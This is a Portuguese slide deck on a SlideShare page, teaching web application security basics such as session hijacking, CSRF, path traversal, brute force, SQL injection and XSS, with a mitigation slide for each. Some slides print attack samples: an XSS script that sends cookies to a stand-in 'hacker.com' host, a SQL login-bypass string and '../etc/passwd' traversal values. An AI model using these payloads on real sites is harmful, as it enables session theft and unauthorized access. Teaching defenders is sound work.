Segurançaem
Aplicativos WEB
Sérgio Henrique Miranda Junior
@sergiohenrique
Quem sou eu?
Sérgio Henrique Miranda Junior
Líder Técnico @ Dito Internet
Bacharel em Ciência da Computação
Somos uma das 4 empresas da América Latina
qualificada no desenvolvimento de apps pelo
facebook
Utilizar a influência dos ...
Dito Internet
Algumas agências
. Depende dos desenvolvedores...
Segurança...
. Depende do método de desenvolvimento
utilizado...
. Depende de todas as ca...
Segurança...
. Geralmente a maioria das falhas de
seguranças estão localizadas na própria
aplicação
. O grupo Gartner esti...
. Precisamos conhecer essas falhas de
segurança para podermos proteger nossa
aplicação
Segurança...
Sessões
O que é?
sessões
. HTTP é um protocolo que não possui estado
. A sessão é uma maneira de trazer estado para o
HTTP
. Sem a...
Session ID
sessões
. É um hash construido de alguns valores
combinados
. Geralmente é um MD5 de 32 bytes
. É um valor únic...
Sequestro de sessão
sessões
. Muitos sistemas web possuem um sistema de
autenticação
. Quando os usuários realizam login a...
sessões
Como fazer?
Sequestro de sessão
. Basta realizar um sniff no tráfego de rede e
capturar o cookie
. Em uma rede wir...
sessões
Como evitar?
Sequestro de sessão
. Através da utilização do protocolo HTTPS!
Armazenamento
sessões
. Pode ser armazenada tanto no cliente quanto
no servidor
. Quando armazenada no cliente, existe um
...
Replay ataques
sessões
. Acontece quando a sessão está armazenada
no cliente
. É uma forma do usuário conseguir voltar
val...
Exemplo:
Replay ataques
sessões
O usuário recebe créditos para realizar
compra no site
1
Esses créditos ficam armazenados ...
Replay ataques
sessões
Como evitar?
. Não armazenando dados críticos no cookie
Sessão fixa
sessões
. O hacker fixa um valor de sessão conhecido
por ele
. Dessa forma não é preciso roubar o valor de
ses...
sessões
Exemplo:
Sessão fixa
O hacker cria um valor válido de sessão
acessando a página de login do sistema web
1
Copia o ...
sessões
Sessão fixa
1. login
2. session_id=bagadfe324
HACKER
BANCO.COM
CLIENTE
3. Fixa sessão em: session_id=bagadfe324
4....
sessões
Sessão fixa
Como evitar?
. Sempre crie uma nova sessão quando um
novo login for realizado!
Cross Site Request Forgery
CSRF
CSRF
O que é?
. CSRF é a possibilidade de executar
comandos em sistemas web que o usuário
está logado
. O browser sempre e...
CSRF
Como funciona?
HACKER
SITE.COM
SITE.COM
session_id=dfsa24
<img src=”http://www.site.com/account/1/destroy” />
session...
CSRF
Como funciona?
Como evitar?
. Utilize os verbos http corretamente! Utilize o
GET quando o request for operações como:...
Redirecionamento
e
Arquivos
redirect
Redirecionamento
&
files
. Quando é permitido passar como parâmetro
a URL de redirecionamento, é possível que
alg...
redirect
Upload de arquivos
&
files
. Quando for permitido realizar upload de
arquivos, sempre filtre o nome passado pelo
...
. Não execute seus processos com permissões
de escrita em pastas que eles não devem
escrever
redirect
Upload de arquivos
&...
redirect
Upload de arquivos
&
files
. Não realize o processamento de imagens ou
vídeos de forma síncrona!
. Um usuário pod...
redirect
Upload de arquivos
&
files
Como evitar?
. Sempre filtre nomes de arquivos!
. Nunca realize processamento pesado d...
redirect
Download de arquivos
&
files
. Se for possível passar o nome do arquivo que
se deseja realizar download, o usuári...
redirect
Download de arquivos
&
files
. Se você armazena seus arquivos em
/var/www/dowloads, o usuário pode
requisitar o s...
Gerenciamento de
usuários
gerenciam
ento
de
usuáriosBrute-force
. De posse de uma lista de usuários da sua
aplicação, um hacker pode criar um progra...
gerenciam
ento
de
usuáriosBrute-force
Como evitar?
. Coloque mensagens genéricas de erro nos
seus formulários de login
. P...
gerenciam
ento
de
usuáriosRoubo de contas
. Alguns sistemas web facilitam o roubo de
contas através de:
. Troca de passwor...
gerenciam
ento
de
usuáriosRoubo de contas
Como evitar?
. Peça a senha antiga quando o usuário tentar
alterar a mesma
. Peç...
Inserção de
código
inserção
SQL injection
. É uma forma de passar código SQL para sua
aplicação através de formulários
. Na maioria das vezes...
inserção
SQL injection
de
código
Exemplo:
O sistema web apresenta um formulário, com
os campos login e senha, para o usuár...
inserção
SQL injection
de
código
Exemplo:
A seguinte query é executada no sistema
gerenciador de banco de dados:
SELECT * ...
inserção
SQL injection
de
código
Como evitar?
. Sempre filtre os dados que são passados
pelos usuários!
Cross-site Scripting (XSS)
inserção
de
código
. É uma das vulnerabilidades mais
devastadoras que pode acontecer com um
sis...
Cross-site Scripting (XSS)
inserção
de
código
Exemplo:
O sistema web permite que os usuários
insiram posts para serem exib...
Cross-site Scripting (XSS)
inserção
de
código
Exemplo:
O sistema web tentará carregar a imagem do
site do hacker. A URL nã...
Cross-site Scripting (XSS)
inserção
de
código
Como evitar?
. Filtre todos os dados que os usuários
inserirem no sistema we...
Dúvidas?
Obrigado!
e-mail: sergio.miranda@dito.com.br
twitter: @sergiohenrique
fb: /sergiohenriquemiranda
Próximos SlideShares
Carregando em…5
×

Segurança em Aplicativos Web

769 visualizações

Publicada em

Os serviços prestados via aplicações web são cada vez mais críticos. Esse serviços na maioria das vezes envolvem pagamentos de mensalidades e até mesmo ganho de créditos que podem ser revertidos em produtos posteriormente. A segurança deve ser estudada com muita atenção e calma para minimizar as chances de invasão, prestando assim, um serviço de melhor qualidade para o cliente final.

Publicada em: Tecnologia
0 comentários
1 gostou
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
769
No SlideShare
0
A partir de incorporações
0
Número de incorporações
145
Ações
Compartilhamentos
0
Downloads
30
Comentários
0
Gostaram
1
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Segurança em Aplicativos Web

  1. 1. Segurançaem Aplicativos WEB Sérgio Henrique Miranda Junior @sergiohenrique
  2. 2. Quem sou eu? Sérgio Henrique Miranda Junior Líder Técnico @ Dito Internet Bacharel em Ciência da Computação
  3. 3. Somos uma das 4 empresas da América Latina qualificada no desenvolvimento de apps pelo facebook Utilizar a influência dos relacionamentos nas redes sociais para gerar novos negócios para nossos clientes Dito Internet
  4. 4. Dito Internet Algumas agências
  5. 5. . Depende dos desenvolvedores... Segurança... . Depende do método de desenvolvimento utilizado... . Depende de todas as camadas da aplicação: . servidor de banco de dados . servidor web . framework utilizado . da própria aplicação
  6. 6. Segurança... . Geralmente a maioria das falhas de seguranças estão localizadas na própria aplicação . O grupo Gartner estima que 75% dos ataques acontecem na camada da aplicação! . Uma pesquisa publicada pela White Hat Security mostrou que em 86% dos sites estudados, pelo menos, uma falha grave de segurança foi encontrada
  7. 7. . Precisamos conhecer essas falhas de segurança para podermos proteger nossa aplicação Segurança...
  8. 8. Sessões
  9. 9. O que é? sessões . HTTP é um protocolo que não possui estado . A sessão é uma maneira de trazer estado para o HTTP . Sem a sessão os usuários teriam que se identificar em todos os requests realizados . O cookie é parte fundamental para a sessão funcionar corretamente
  10. 10. Session ID sessões . É um hash construido de alguns valores combinados . Geralmente é um MD5 de 32 bytes . É um valor único que indica a sessão de um usuário do sistema
  11. 11. Sequestro de sessão sessões . Muitos sistemas web possuem um sistema de autenticação . Quando os usuários realizam login através de um valor de login e senha, uma sessão é criada e esse valor é armazenado no cookie . Qualquer pessoa que conseguir capturar esse cookie poderá utilizar o sistema web através do usuário que realizou login
  12. 12. sessões Como fazer? Sequestro de sessão . Basta realizar um sniff no tráfego de rede e capturar o cookie . Em uma rede wireless descriptografada é fácil escutar o tráfego de todos os clientes conectados . Isso é uma razão para você não trabalhar de cafeterias!
  13. 13. sessões Como evitar? Sequestro de sessão . Através da utilização do protocolo HTTPS!
  14. 14. Armazenamento sessões . Pode ser armazenada tanto no cliente quanto no servidor . Quando armazenada no cliente, existe um limite de tamanho de 4KB . É preciso ter um mecanismo que evite a adulteração quando armazenada do lado do cliente . Não colocar dados críticos quando o armazenamento for feito no cliente
  15. 15. Replay ataques sessões . Acontece quando a sessão está armazenada no cliente . É uma forma do usuário conseguir voltar valores de atributos
  16. 16. Exemplo: Replay ataques sessões O usuário recebe créditos para realizar compra no site 1 Esses créditos ficam armazenados na sessão2 O usuário realiza uma compra e tem seus créditos debitados da sessão 3 O usuário substitui o valor do cookie pelo valor do primeiro 4 O usuário agora possui o mesmo valor de créditos que possuía quando entrou no sistema! 5
  17. 17. Replay ataques sessões Como evitar? . Não armazenando dados críticos no cookie
  18. 18. Sessão fixa sessões . O hacker fixa um valor de sessão conhecido por ele . Dessa forma não é preciso roubar o valor de sessão de um usuário
  19. 19. sessões Exemplo: Sessão fixa O hacker cria um valor válido de sessão acessando a página de login do sistema web 1 Copia o valor da sessão armazenado no cookie2 O hacker força o usuário a utilizar o valor de sessão criado por ele 3 A sessão ainda não fez login. O usuário, sem perceber, realiza login na sua conta 4 A partir desse momento, ambos, usuário e hacker, possuem o mesmo valor de sessão! 5
  20. 20. sessões Sessão fixa 1. login 2. session_id=bagadfe324 HACKER BANCO.COM CLIENTE 3. Fixa sessão em: session_id=bagadfe324 4. GET /login com o valor da sessão: bagadfe324 5. fornece usuário e senha para se logar no sistema com valor de sessão: bagadfe324 6. GET /user/saldo com valor de sessão: bagadfe324
  21. 21. sessões Sessão fixa Como evitar? . Sempre crie uma nova sessão quando um novo login for realizado!
  22. 22. Cross Site Request Forgery CSRF
  23. 23. CSRF O que é? . CSRF é a possibilidade de executar comandos em sistemas web que o usuário está logado . O browser sempre envia os cookies, do domínio utilizado, que ele possui armazenado. Isso acontece em todos os requests
  24. 24. CSRF Como funciona? HACKER SITE.COM SITE.COM session_id=dfsa24 <img src=”http://www.site.com/account/1/destroy” /> session_id=dfsa24 <img src=”http://www.site.com/account/1/destroy” />
  25. 25. CSRF Como funciona? Como evitar? . Utilize os verbos http corretamente! Utilize o GET quando o request for operações como: leitura, buscas, etc. Utilize o POST quando você for alterar o estado de algum recurso . Utilize tokens para proteger seus requests que alteram os recursos disponibilizados pelo sistema
  26. 26. Redirecionamento e Arquivos
  27. 27. redirect Redirecionamento & files . Quando é permitido passar como parâmetro a URL de redirecionamento, é possível que algum ataque aconteça . O mais comum é um ataque de phishing Como evitar? . Não permitir que a URL seja passada via parâmetro
  28. 28. redirect Upload de arquivos & files . Quando for permitido realizar upload de arquivos, sempre filtre o nome passado pelo usuário . Imagine que você armazena seus arquivos em /var/www/files. Se um usuário realizar upload de um arquivo com o nome: “../../../etc/passwd” você pode sobrescrever um arquivo que não deveria!
  29. 29. . Não execute seus processos com permissões de escrita em pastas que eles não devem escrever redirect Upload de arquivos & files Como evitar? . Sempre filtre nomes de arquivos passado pelos usuários
  30. 30. redirect Upload de arquivos & files . Não realize o processamento de imagens ou vídeos de forma síncrona! . Um usuário pode realizar vários uploads ao mesmo tempo, com isso, o load do servidor irá aumentar e você pode sofrer um ataque de Denial Of Service (DOS)
  31. 31. redirect Upload de arquivos & files Como evitar? . Sempre filtre nomes de arquivos! . Nunca realize processamento pesado de forma síncrona!
  32. 32. redirect Download de arquivos & files . Se for possível passar o nome do arquivo que se deseja realizar download, o usuário pode executar download de arquivos importantes do sistema . Imagine que você disponibilize uma URL assim: http://www.site.com.br/downloads? file=arquivo.txt
  33. 33. redirect Download de arquivos & files . Se você armazena seus arquivos em /var/www/dowloads, o usuário pode requisitar o seguinte arquivo: file=../../../etc/passwd Como evitar? . Sempre filtre os nomes de arquivos que são requisitados!
  34. 34. Gerenciamento de usuários
  35. 35. gerenciam ento de usuáriosBrute-force . De posse de uma lista de usuários da sua aplicação, um hacker pode criar um programa que tentará descobrir a senha dos mesmos . A maioria das senhas é uma combinação de letras e números. Geralmente são senhas fáceis de serem encontradas em dicionários de senhas existentes pela internet
  36. 36. gerenciam ento de usuáriosBrute-force Como evitar? . Coloque mensagens genéricas de erro nos seus formulários de login . Peça para o usuário informar o valor de um CAPTCHA após algumas tentativas, sem sucesso, de realizar login
  37. 37. gerenciam ento de usuáriosRoubo de contas . Alguns sistemas web facilitam o roubo de contas através de: . Troca de passwords . Troca de e-mail
  38. 38. gerenciam ento de usuáriosRoubo de contas Como evitar? . Peça a senha antiga quando o usuário tentar alterar a mesma . Peça a senha para o usuário sempre que ele tentar alterar seu e-mail . Revise todo o seu sistema e elimine as falhas de segurança relacionadas a CSRF
  39. 39. Inserção de código
  40. 40. inserção SQL injection . É uma forma de passar código SQL para sua aplicação através de formulários . Na maioria das vezes é executado pensando em burlar a autenticação de sistemas de código
  41. 41. inserção SQL injection de código Exemplo: O sistema web apresenta um formulário, com os campos login e senha, para o usuário se logar no sistema 1 O hacker passa como valor do campo de login: ‘ or ‘1’= ‘1 e como valor do campo senha: ‘ or ‘2’> ‘1 2 O desenvolvedor realiza a busca no banco de dados: User.where("login = '#{params[:name]}' and passwd = '#{params[:passwd]}'") 3
  42. 42. inserção SQL injection de código Exemplo: A seguinte query é executada no sistema gerenciador de banco de dados: SELECT * FROM users where login = ‘’ OR ‘1’=’1’ and passwd = ‘’ OR ‘2’>’1’ LIMIT 1 4 Essa query irá encontrar o primeiro registro no banco de dados e realizará login com esse registro 5
  43. 43. inserção SQL injection de código Como evitar? . Sempre filtre os dados que são passados pelos usuários!
  44. 44. Cross-site Scripting (XSS) inserção de código . É uma das vulnerabilidades mais devastadoras que pode acontecer com um sistema web . Esse tipo de ataque insere código client-side que será executado pelo sistema web . Qualquer ponto de entrada do sistema web, que permita o usuário inserir conteúdo, pode estar vulnerável
  45. 45. Cross-site Scripting (XSS) inserção de código Exemplo: O sistema web permite que os usuários insiram posts para serem exibidos para todos os outros 1 O hacker insere o seguinte código na hora de enviar um post: <script>document.write('<img src="http://www.hacker.com/' + document.cookie + '">');</script> 2
  46. 46. Cross-site Scripting (XSS) inserção de código Exemplo: O sistema web tentará carregar a imagem do site do hacker. A URL não exibe uma imagem, logo o sistema web não exibirá nada 3 Nos logs do servidor web do hacker será vista a seguinte linha: GET http://www.hacker.com/ _app_session=836c1c25278e5b321d6bea4f 19cb57e2 4
  47. 47. Cross-site Scripting (XSS) inserção de código Como evitar? . Filtre todos os dados que os usuários inserirem no sistema web . Escapar todos os dados, inseridos por usuários, que são exibidos para outros usuários . Utilize a propriedade HTTP_ONLY em cookies que armazenem valores de sessão
  48. 48. Dúvidas?
  49. 49. Obrigado! e-mail: sergio.miranda@dito.com.br twitter: @sergiohenrique fb: /sergiohenriquemiranda

×